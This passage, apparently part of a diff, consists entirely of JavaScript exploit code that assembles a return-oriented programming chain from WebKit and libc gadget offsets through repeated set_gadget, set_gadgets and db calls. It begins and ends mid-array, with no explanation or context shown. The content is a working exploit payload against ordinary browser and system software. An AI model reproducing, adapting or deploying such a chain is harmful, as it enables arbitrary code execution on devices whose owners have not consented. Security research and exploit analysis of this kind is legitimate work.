+libc_base+232261, +libc_base+713278, +ropchain+481712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+481728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+481696, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+481856, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+481888, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+481872, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+482000, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+481992, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+482016, +ropchain+482624, +libc_base+768796, +ropchain+604080, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+482128, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+482216, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+482360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+482376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+482344, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+482480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+482496, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+482616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+482600, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278, +ropchain+482680, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964104, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+482760, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+482816, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+482912, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+483008, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+483024, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+483112, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+483168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+483296, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+483328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+483312, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+483472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+483440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+483456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+483568, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+483656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+483672, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+483832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+483864, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+483816, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+483848, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+483960, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+483944, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+1537212, +libc_base+713278, +ropchain+484184, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+484200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+484168, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+484328, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+484344, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+484312, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+484480, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+484568, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+484584, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+484744, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+484776, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+484728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+484760, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+484872, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+484856, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+484968, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+485080, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+485168, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964088, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964088, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+485296, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+485312, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+485456, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+485424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+485440, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([104, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+485704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+485720, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+485856, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+485944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+485960, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+486120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+486152, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+486104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+486136, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+486248, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+486232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+486344, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+486456, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+486544, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964080, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+486672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+486688, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+486832, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+486800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+486816, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+487080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+487096, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+487232, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+487320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+487336, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+487496, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+487528, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+487480, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+487512, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+487624, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+487608, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+487720, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+487832, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+487920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964072, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964072, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+488048, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+488064, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+488208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+488176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+488192, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+488304, +webkit_base+4687784, +libc_base+768796 +]); +db([3977440, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([3977440, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+488448, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+488464, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+488432, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+488568, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+488696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+488712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+488856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+488824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+488840, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([4095, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+488968, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278, +ropchain+489088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+489104, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+489216, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+489208, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+489232, +ropchain+490184, +libc_base+713278, +ropchain+489288, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+489376, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+489392, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+489536, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+489504, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+489520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604104, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+489688, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+489776, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+489920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+489936, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+489904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+490040, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+490056, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+490176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+490160, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+490240, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+490328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+490344, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+490488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+490456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+490472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604176, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+490640, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3977440, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+490776, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964072, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+490864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+490880, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+491024, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+490992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+491008, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604200, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+491176, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+491328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+491344, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+491488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+491456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+491472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+491584, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+491672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+491688, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+491848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+491880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+491832, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+491864, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+491976, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+491960, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+492072, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+492184, +libc_base+713278 +]); +db([8, 